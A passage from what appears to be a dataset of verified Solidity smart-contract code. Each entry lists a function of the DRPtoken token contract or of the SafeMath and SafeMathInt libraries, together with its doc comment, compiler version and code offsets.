totalSupply = totalSupply.sub(_value); // Updates totalSupply
emit Burn(msg.sender, _value);
return true;
}
/**
* Destroy tokens from other account
*
* Remove `_value` tokens from the system irreversibly on behalf of `_from`.
*
* @param _from the address of the sender
* @param _value the amount of money to burn
*/
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value); // Check if the targeted balance is enough
require(_value <= allowance[_from][msg.sender]); // Check allowance
balanceOf[_from] = balanceOf[_from].sub(_value); // Subtract from the targeted balance
allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value); // Subtract from the sender's allowance
totalSupply = totalSupply.sub(_value); // Update totalSupply
emit Burn(_from, _value);
return true;
}
} | burn | function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value); // Check if the sender has enough
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value) ; // Subtract from the sender
totalSupply = totalSupply.sub(_value); // Updates totalSupply
emit Burn(msg.sender, _value);
return true;
}
| /**
* Destroy tokens
*
* Remove `_value` tokens from the system irreversibly
*
* @param _value the amount of money to burn
*/ | NatSpecMultiLine | v0.4.24+commit.e67f0147 | bzzr://d91717a6b6162f2c638e7cb1301c0cc472b07bdba9f963854f3d748dcd719e19 | {
"func_code_index": [
3508,
3930
]
} | 1,358 |
|||
DRPtoken | DRPtoken.sol | 0xb218e7d2beb403a8e4e24512669d71066e8bf409 | Solidity | Token | contract Token {
string public name = "DevronKim's Research Purpose";
string public constant symbol = "DRP";
uint8 public constant decimals = 18;
uint256 public totalSupply = 100000000 * 10 ** uint256(decimals);
using SafeMath for uint256;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
event Burn(address indexed from, uint256 value);
constructor() public {
balanceOf[msg.sender] = totalSupply;
}
/**
* Internal transfer, only can be called by this contract
*/
function _transfer(address _from, address _to, uint _value) internal {
require(_to != 0x0);
require(balanceOf[_from] >= _value);
require(balanceOf[_to].add(_value) > balanceOf[_to]);
uint256 previousBalances = balanceOf[_to].add(balanceOf[_from]);
balanceOf[_from] = balanceOf[_from].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
emit Transfer(_from, _to, _value);
assert(balanceOf[_from].add(balanceOf[_to]) == previousBalances);
}
/**
* Transfer tokens
*
* Send `_value` tokens to `_to` from your account
*
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
/**
* Transfer tokens from other address
*
* Send `_value` tokens to `_to` in behalf of `_from`
*
* @param _from The address of the sender
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]); // Check allowance
allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value);
_transfer(_from, _to, _value);
return true;
}
/**
* Set allowance for other address
*
* Allows `_spender` to spend no more than `_value` tokens in your behalf
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
*/
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
/**
* Set allowance for other address and notify
*
* Allows `_spender` to spend no more than `_value` tokens in your behalf, and then ping the contract about it
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
* @param _extraData some extra information to send to the approved contract
*/
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
/**
* Destroy tokens
*
* Remove `_value` tokens from the system irreversibly
*
* @param _value the amount of money to burn
*/
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value); // Check if the sender has enough
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value) ; // Subtract from the sender
totalSupply = totalSupply.sub(_value); // Updates totalSupply
emit Burn(msg.sender, _value);
return true;
}
/**
* Destroy tokens from other account
*
* Remove `_value` tokens from the system irreversibly on behalf of `_from`.
*
* @param _from the address of the sender
* @param _value the amount of money to burn
*/
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value); // Check if the targeted balance is enough
require(_value <= allowance[_from][msg.sender]); // Check allowance
balanceOf[_from] = balanceOf[_from].sub(_value); // Subtract from the targeted balance
allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value); // Subtract from the sender's allowance
totalSupply = totalSupply.sub(_value); // Update totalSupply
emit Burn(_from, _value);
return true;
}
} | burnFrom | function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value); // Check if the targeted balance is enough
require(_value <= allowance[_from][msg.sender]); // Check allowance
balanceOf[_from] = balanceOf[_from].sub(_value); // Subtract from the targeted balance
allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value); // Subtract from the sender's allowance
totalSupply = totalSupply.sub(_value); // Update totalSupply
emit Burn(_from, _value);
return true;
}
| /**
* Destroy tokens from other account
*
* Remove `_value` tokens from the system irreversibly on behalf of `_from`.
*
* @param _from the address of the sender
* @param _value the amount of money to burn
*/ | NatSpecMultiLine | v0.4.24+commit.e67f0147 | bzzr://d91717a6b6162f2c638e7cb1301c0cc472b07bdba9f963854f3d748dcd719e19 | {
"func_code_index": [
4188,
4873
]
} | 1,359 |
|||
DRPtoken | DRPtoken.sol | 0xb218e7d2beb403a8e4e24512669d71066e8bf409 | Solidity | DRPtoken | contract DRPtoken is owned, Token {
uint256 public sellPrice;
uint256 public buyPrice;
using SafeMath for uint256;
mapping (address => bool) public frozenAccount;
/* This generates a public event on the blockchain that will notify clients */
event FrozenFunds(address target, bool frozen);
/* Initializes contract with initial supply tokens to the creator of the contract */
constructor() Token() public {}
/* Internal transfer, only can be called by this contract */
function _transfer(address _from, address _to, uint _value) internal {
require (_to != 0x0); // Prevent transfer to 0x0 address. Use burn() instead
require (balanceOf[_from] >= _value); // Check if the sender has enough
require (balanceOf[_to] + _value >= balanceOf[_to]); // Check for overflows
require(!frozenAccount[_from]); // Check if sender is frozen
require(!frozenAccount[_to]); // Check if recipient is frozen
balanceOf[_from] = balanceOf[_from].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
emit Transfer(_from, _to, _value);
}
/// @notice `freeze? Prevent | Allow` `target` from sending & receiving tokens
/// @param target Address to be frozen
/// @param freeze either to freeze it or not
function freezeAccount(address target, bool freeze) onlyOwner public {
frozenAccount[target] = freeze;
emit FrozenFunds(target, freeze);
}
/// @notice Allow users to buy tokens for `newBuyPrice` eth and sell tokens for `newSellPrice` eth
/// @param newSellPrice Price the users can sell to the contract
/// @param newBuyPrice Price users can buy from the contract
function setPrices(uint256 newSellPrice, uint256 newBuyPrice) onlyOwner public {
sellPrice = newSellPrice;
buyPrice = newBuyPrice;
}
/// @notice Buy tokens from contract by sending ether
function buy() payable public {
uint amount = msg.value.div(buyPrice); // calculates the amount
_transfer(this, msg.sender, amount); // makes the transfers
}
/// @notice Sell `amount` tokens to contract
/// @param amount amount of tokens to be sold
function sell(uint256 amount) public {
require(this.balance >= amount * sellPrice); // checks if the contract has enough ether to buy
_transfer(msg.sender, this, amount); // makes the transfers
msg.sender.transfer(amount * sellPrice); // sends ether to the seller. It's important to do this last to avoid recursion attacks
}
} | _transfer | function _transfer(address _from, address _to, uint _value) internal {
require (_to != 0x0); // Prevent transfer to 0x0 address. Use burn() instead
require (balanceOf[_from] >= _value); // Check if the sender has enough
require (balanceOf[_to] + _value >= balanceOf[_to]); // Check for overflows
require(!frozenAccount[_from]); // Check if sender is frozen
require(!frozenAccount[_to]); // Check if recipient is frozen
balanceOf[_from] = balanceOf[_from].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
emit Transfer(_from, _to, _value);
}
| /* Internal transfer, only can be called by this contract */ | Comment | v0.4.24+commit.e67f0147 | bzzr://d91717a6b6162f2c638e7cb1301c0cc472b07bdba9f963854f3d748dcd719e19 | {
"func_code_index": [
526,
1243
]
} | 1,360 |
|||
DRPtoken | DRPtoken.sol | 0xb218e7d2beb403a8e4e24512669d71066e8bf409 | Solidity | DRPtoken | contract DRPtoken is owned, Token {
uint256 public sellPrice;
uint256 public buyPrice;
using SafeMath for uint256;
mapping (address => bool) public frozenAccount;
/* This generates a public event on the blockchain that will notify clients */
event FrozenFunds(address target, bool frozen);
/* Initializes contract with initial supply tokens to the creator of the contract */
constructor() Token() public {}
/* Internal transfer, only can be called by this contract */
function _transfer(address _from, address _to, uint _value) internal {
require (_to != 0x0); // Prevent transfer to 0x0 address. Use burn() instead
require (balanceOf[_from] >= _value); // Check if the sender has enough
require (balanceOf[_to] + _value >= balanceOf[_to]); // Check for overflows
require(!frozenAccount[_from]); // Check if sender is frozen
require(!frozenAccount[_to]); // Check if recipient is frozen
balanceOf[_from] = balanceOf[_from].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
emit Transfer(_from, _to, _value);
}
/// @notice `freeze? Prevent | Allow` `target` from sending & receiving tokens
/// @param target Address to be frozen
/// @param freeze either to freeze it or not
function freezeAccount(address target, bool freeze) onlyOwner public {
frozenAccount[target] = freeze;
emit FrozenFunds(target, freeze);
}
/// @notice Allow users to buy tokens for `newBuyPrice` eth and sell tokens for `newSellPrice` eth
/// @param newSellPrice Price the users can sell to the contract
/// @param newBuyPrice Price users can buy from the contract
function setPrices(uint256 newSellPrice, uint256 newBuyPrice) onlyOwner public {
sellPrice = newSellPrice;
buyPrice = newBuyPrice;
}
/// @notice Buy tokens from contract by sending ether
function buy() payable public {
uint amount = msg.value.div(buyPrice); // calculates the amount
_transfer(this, msg.sender, amount); // makes the transfers
}
/// @notice Sell `amount` tokens to contract
/// @param amount amount of tokens to be sold
function sell(uint256 amount) public {
require(this.balance >= amount * sellPrice); // checks if the contract has enough ether to buy
_transfer(msg.sender, this, amount); // makes the transfers
msg.sender.transfer(amount * sellPrice); // sends ether to the seller. It's important to do this last to avoid recursion attacks
}
} | freezeAccount | function freezeAccount(address target, bool freeze) onlyOwner public {
frozenAccount[target] = freeze;
emit FrozenFunds(target, freeze);
}
| /// @notice `freeze? Prevent | Allow` `target` from sending & receiving tokens
/// @param target Address to be frozen
/// @param freeze either to freeze it or not | NatSpecSingleLine | v0.4.24+commit.e67f0147 | bzzr://d91717a6b6162f2c638e7cb1301c0cc472b07bdba9f963854f3d748dcd719e19 | {
"func_code_index": [
1424,
1590
]
} | 1,361 |
|||
DRPtoken | DRPtoken.sol | 0xb218e7d2beb403a8e4e24512669d71066e8bf409 | Solidity | DRPtoken | contract DRPtoken is owned, Token {
uint256 public sellPrice;
uint256 public buyPrice;
using SafeMath for uint256;
mapping (address => bool) public frozenAccount;
/* This generates a public event on the blockchain that will notify clients */
event FrozenFunds(address target, bool frozen);
/* Initializes contract with initial supply tokens to the creator of the contract */
constructor() Token() public {}
/* Internal transfer, only can be called by this contract */
function _transfer(address _from, address _to, uint _value) internal {
require (_to != 0x0); // Prevent transfer to 0x0 address. Use burn() instead
require (balanceOf[_from] >= _value); // Check if the sender has enough
require (balanceOf[_to] + _value >= balanceOf[_to]); // Check for overflows
require(!frozenAccount[_from]); // Check if sender is frozen
require(!frozenAccount[_to]); // Check if recipient is frozen
balanceOf[_from] = balanceOf[_from].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
emit Transfer(_from, _to, _value);
}
/// @notice `freeze? Prevent | Allow` `target` from sending & receiving tokens
/// @param target Address to be frozen
/// @param freeze either to freeze it or not
function freezeAccount(address target, bool freeze) onlyOwner public {
frozenAccount[target] = freeze;
emit FrozenFunds(target, freeze);
}
/// @notice Allow users to buy tokens for `newBuyPrice` eth and sell tokens for `newSellPrice` eth
/// @param newSellPrice Price the users can sell to the contract
/// @param newBuyPrice Price users can buy from the contract
function setPrices(uint256 newSellPrice, uint256 newBuyPrice) onlyOwner public {
sellPrice = newSellPrice;
buyPrice = newBuyPrice;
}
/// @notice Buy tokens from contract by sending ether
function buy() payable public {
uint amount = msg.value.div(buyPrice); // calculates the amount
_transfer(this, msg.sender, amount); // makes the transfers
}
/// @notice Sell `amount` tokens to contract
/// @param amount amount of tokens to be sold
function sell(uint256 amount) public {
require(this.balance >= amount * sellPrice); // checks if the contract has enough ether to buy
_transfer(msg.sender, this, amount); // makes the transfers
msg.sender.transfer(amount * sellPrice); // sends ether to the seller. It's important to do this last to avoid recursion attacks
}
} | setPrices | function setPrices(uint256 newSellPrice, uint256 newBuyPrice) onlyOwner public {
sellPrice = newSellPrice;
buyPrice = newBuyPrice;
}
| /// @notice Allow users to buy tokens for `newBuyPrice` eth and sell tokens for `newSellPrice` eth
/// @param newSellPrice Price the users can sell to the contract
/// @param newBuyPrice Price users can buy from the contract | NatSpecSingleLine | v0.4.24+commit.e67f0147 | bzzr://d91717a6b6162f2c638e7cb1301c0cc472b07bdba9f963854f3d748dcd719e19 | {
"func_code_index": [
1833,
1993
]
} | 1,362 |
|||
DRPtoken | DRPtoken.sol | 0xb218e7d2beb403a8e4e24512669d71066e8bf409 | Solidity | DRPtoken | contract DRPtoken is owned, Token {
uint256 public sellPrice;
uint256 public buyPrice;
using SafeMath for uint256;
mapping (address => bool) public frozenAccount;
/* This generates a public event on the blockchain that will notify clients */
event FrozenFunds(address target, bool frozen);
/* Initializes contract with initial supply tokens to the creator of the contract */
constructor() Token() public {}
/* Internal transfer, only can be called by this contract */
function _transfer(address _from, address _to, uint _value) internal {
require (_to != 0x0); // Prevent transfer to 0x0 address. Use burn() instead
require (balanceOf[_from] >= _value); // Check if the sender has enough
require (balanceOf[_to] + _value >= balanceOf[_to]); // Check for overflows
require(!frozenAccount[_from]); // Check if sender is frozen
require(!frozenAccount[_to]); // Check if recipient is frozen
balanceOf[_from] = balanceOf[_from].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
emit Transfer(_from, _to, _value);
}
/// @notice `freeze? Prevent | Allow` `target` from sending & receiving tokens
/// @param target Address to be frozen
/// @param freeze either to freeze it or not
function freezeAccount(address target, bool freeze) onlyOwner public {
frozenAccount[target] = freeze;
emit FrozenFunds(target, freeze);
}
/// @notice Allow users to buy tokens for `newBuyPrice` eth and sell tokens for `newSellPrice` eth
/// @param newSellPrice Price the users can sell to the contract
/// @param newBuyPrice Price users can buy from the contract
function setPrices(uint256 newSellPrice, uint256 newBuyPrice) onlyOwner public {
sellPrice = newSellPrice;
buyPrice = newBuyPrice;
}
/// @notice Buy tokens from contract by sending ether
function buy() payable public {
uint amount = msg.value.div(buyPrice); // calculates the amount
_transfer(this, msg.sender, amount); // makes the transfers
}
/// @notice Sell `amount` tokens to contract
/// @param amount amount of tokens to be sold
function sell(uint256 amount) public {
require(this.balance >= amount * sellPrice); // checks if the contract has enough ether to buy
_transfer(msg.sender, this, amount); // makes the transfers
msg.sender.transfer(amount * sellPrice); // sends ether to the seller. It's important to do this last to avoid recursion attacks
}
} | buy | function buy() payable public {
uint amount = msg.value.div(buyPrice); // calculates the amount
_transfer(this, msg.sender, amount); // makes the transfers
}
| /// @notice Buy tokens from contract by sending ether | NatSpecSingleLine | v0.4.24+commit.e67f0147 | bzzr://d91717a6b6162f2c638e7cb1301c0cc472b07bdba9f963854f3d748dcd719e19 | {
"func_code_index": [
2055,
2267
]
} | 1,363 |
|||
DRPtoken | DRPtoken.sol | 0xb218e7d2beb403a8e4e24512669d71066e8bf409 | Solidity | DRPtoken | contract DRPtoken is owned, Token {
uint256 public sellPrice;
uint256 public buyPrice;
using SafeMath for uint256;
mapping (address => bool) public frozenAccount;
/* This generates a public event on the blockchain that will notify clients */
event FrozenFunds(address target, bool frozen);
/* Initializes contract with initial supply tokens to the creator of the contract */
constructor() Token() public {}
/* Internal transfer, only can be called by this contract */
function _transfer(address _from, address _to, uint _value) internal {
require (_to != 0x0); // Prevent transfer to 0x0 address. Use burn() instead
require (balanceOf[_from] >= _value); // Check if the sender has enough
require (balanceOf[_to] + _value >= balanceOf[_to]); // Check for overflows
require(!frozenAccount[_from]); // Check if sender is frozen
require(!frozenAccount[_to]); // Check if recipient is frozen
balanceOf[_from] = balanceOf[_from].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
emit Transfer(_from, _to, _value);
}
/// @notice `freeze? Prevent | Allow` `target` from sending & receiving tokens
/// @param target Address to be frozen
/// @param freeze either to freeze it or not
function freezeAccount(address target, bool freeze) onlyOwner public {
frozenAccount[target] = freeze;
emit FrozenFunds(target, freeze);
}
/// @notice Allow users to buy tokens for `newBuyPrice` eth and sell tokens for `newSellPrice` eth
/// @param newSellPrice Price the users can sell to the contract
/// @param newBuyPrice Price users can buy from the contract
function setPrices(uint256 newSellPrice, uint256 newBuyPrice) onlyOwner public {
sellPrice = newSellPrice;
buyPrice = newBuyPrice;
}
/// @notice Buy tokens from contract by sending ether
function buy() payable public {
uint amount = msg.value.div(buyPrice); // calculates the amount
_transfer(this, msg.sender, amount); // makes the transfers
}
/// @notice Sell `amount` tokens to contract
/// @param amount amount of tokens to be sold
function sell(uint256 amount) public {
require(this.balance >= amount * sellPrice); // checks if the contract has enough ether to buy
_transfer(msg.sender, this, amount); // makes the transfers
msg.sender.transfer(amount * sellPrice); // sends ether to the seller. It's important to do this last to avoid recursion attacks
}
} | sell | function sell(uint256 amount) public {
require(this.balance >= amount * sellPrice); // checks if the contract has enough ether to buy
_transfer(msg.sender, this, amount); // makes the transfers
msg.sender.transfer(amount * sellPrice); // sends ether to the seller. It's important to do this last to avoid recursion attacks
}
| /// @notice Sell `amount` tokens to contract
/// @param amount amount of tokens to be sold | NatSpecSingleLine | v0.4.24+commit.e67f0147 | bzzr://d91717a6b6162f2c638e7cb1301c0cc472b07bdba9f963854f3d748dcd719e19 | {
"func_code_index": [
2371,
2759
]
} | 1,364 |
|||
MonetaryPolicy | MonetaryPolicy.sol | 0x59ea1be5a87c8700689ea5a38fb9c760d81ab64e | Solidity | SafeMath | library SafeMath {
/**
* @dev Multiplies two numbers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0); // Solidity only automatically asserts when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
/**
* @dev Adds two numbers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
/**
* @dev Divides two numbers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
} | /**
* @title SafeMath
* @dev Math operations with safety checks that revert on error
*/ | NatSpecMultiLine | mul | function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
| /**
* @dev Multiplies two numbers, reverts on overflow.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | MIT | ipfs://45f538fe42b7b2e76e074c040be33f8048fa7b61ee6597542e80240c00772e8e | {
"func_code_index": [
90,
486
]
} | 1,365 |
MonetaryPolicy | MonetaryPolicy.sol | 0x59ea1be5a87c8700689ea5a38fb9c760d81ab64e | Solidity | SafeMath | library SafeMath {
/**
* @dev Multiplies two numbers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0); // Solidity only automatically asserts when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
/**
* @dev Adds two numbers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
/**
* @dev Divides two numbers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
} | /**
* @title SafeMath
* @dev Math operations with safety checks that revert on error
*/ | NatSpecMultiLine | div | function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0); // Solidity only automatically asserts when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
| /**
* @dev Integer division of two numbers truncating the quotient, reverts on division by zero.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | MIT | ipfs://45f538fe42b7b2e76e074c040be33f8048fa7b61ee6597542e80240c00772e8e | {
"func_code_index": [
598,
877
]
} | 1,366 |
MonetaryPolicy | MonetaryPolicy.sol | 0x59ea1be5a87c8700689ea5a38fb9c760d81ab64e | Solidity | SafeMath | library SafeMath {
/**
* @dev Multiplies two numbers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0); // Solidity only automatically asserts when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
/**
* @dev Adds two numbers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
/**
* @dev Divides two numbers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
} | /**
* @title SafeMath
* @dev Math operations with safety checks that revert on error
*/ | NatSpecMultiLine | sub | function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
| /**
* @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | MIT | ipfs://45f538fe42b7b2e76e074c040be33f8048fa7b61ee6597542e80240c00772e8e | {
"func_code_index": [
992,
1131
]
} | 1,367 |
MonetaryPolicy | MonetaryPolicy.sol | 0x59ea1be5a87c8700689ea5a38fb9c760d81ab64e | Solidity | SafeMath | library SafeMath {
/**
* @dev Multiplies two numbers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0); // Solidity only automatically asserts when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
/**
* @dev Adds two numbers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
/**
* @dev Divides two numbers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
} | /**
* @title SafeMath
* @dev Math operations with safety checks that revert on error
*/ | NatSpecMultiLine | add | function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
| /**
* @dev Adds two numbers, reverts on overflow.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | MIT | ipfs://45f538fe42b7b2e76e074c040be33f8048fa7b61ee6597542e80240c00772e8e | {
"func_code_index": [
1196,
1335
]
} | 1,368 |
MonetaryPolicy | MonetaryPolicy.sol | 0x59ea1be5a87c8700689ea5a38fb9c760d81ab64e | Solidity | SafeMath | library SafeMath {
/**
* @dev Multiplies two numbers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0); // Solidity only automatically asserts when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
/**
* @dev Adds two numbers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
/**
* @dev Divides two numbers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
} | /**
* @title SafeMath
* @dev Math operations with safety checks that revert on error
*/ | NatSpecMultiLine | mod | function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
| /**
* @dev Divides two numbers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | MIT | ipfs://45f538fe42b7b2e76e074c040be33f8048fa7b61ee6597542e80240c00772e8e | {
"func_code_index": [
1470,
1587
]
} | 1,369 |
MonetaryPolicy | MonetaryPolicy.sol | 0x59ea1be5a87c8700689ea5a38fb9c760d81ab64e | Solidity | SafeMathInt | library SafeMathInt {
int256 private constant MIN_INT256 = int256(1) << 255;
int256 private constant MAX_INT256 = ~(int256(1) << 255);
/**
* @dev Multiplies two int256 variables and fails on overflow.
*/
function mul(int256 a, int256 b)
internal
pure
returns (int256)
{
int256 c = a * b;
// Detect overflow when multiplying MIN_INT256 with -1
require(c != MIN_INT256 || (a & MIN_INT256) != (b & MIN_INT256));
require((b == 0) || (c / b == a));
return c;
}
/**
* @dev Division of two int256 variables and fails on overflow.
*/
function div(int256 a, int256 b)
internal
pure
returns (int256)
{
// Prevent overflow when dividing MIN_INT256 by -1
require(b != -1 || a != MIN_INT256);
// Solidity already throws when dividing by 0.
return a / b;
}
/**
* @dev Subtracts two int256 variables and fails on overflow.
*/
function sub(int256 a, int256 b)
internal
pure
returns (int256)
{
int256 c = a - b;
require((b >= 0 && c <= a) || (b < 0 && c > a));
return c;
}
/**
* @dev Adds two int256 variables and fails on overflow.
*/
function add(int256 a, int256 b)
internal
pure
returns (int256)
{
int256 c = a + b;
require((b >= 0 && c >= a) || (b < 0 && c < a));
return c;
}
/**
* @dev Converts to absolute value, and fails on overflow.
*/
function abs(int256 a)
internal
pure
returns (int256)
{
require(a != MIN_INT256);
return a < 0 ? -a : a;
}
} | mul | function mul(int256 a, int256 b)
internal
pure
returns (int256)
{
int256 c = a * b;
// Detect overflow when multiplying MIN_INT256 with -1
require(c != MIN_INT256 || (a & MIN_INT256) != (b & MIN_INT256));
require((b == 0) || (c / b == a));
return c;
}
| /**
* @dev Multiplies two int256 variables and fails on overflow.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | MIT | ipfs://45f538fe42b7b2e76e074c040be33f8048fa7b61ee6597542e80240c00772e8e | {
"func_code_index": [
234,
574
]
} | 1,370 |
||
MonetaryPolicy | MonetaryPolicy.sol | 0x59ea1be5a87c8700689ea5a38fb9c760d81ab64e | Solidity | SafeMathInt | library SafeMathInt {
int256 private constant MIN_INT256 = int256(1) << 255;
int256 private constant MAX_INT256 = ~(int256(1) << 255);
/**
* @dev Multiplies two int256 variables and fails on overflow.
*/
function mul(int256 a, int256 b)
internal
pure
returns (int256)
{
int256 c = a * b;
// Detect overflow when multiplying MIN_INT256 with -1
require(c != MIN_INT256 || (a & MIN_INT256) != (b & MIN_INT256));
require((b == 0) || (c / b == a));
return c;
}
/**
* @dev Division of two int256 variables and fails on overflow.
*/
function div(int256 a, int256 b)
internal
pure
returns (int256)
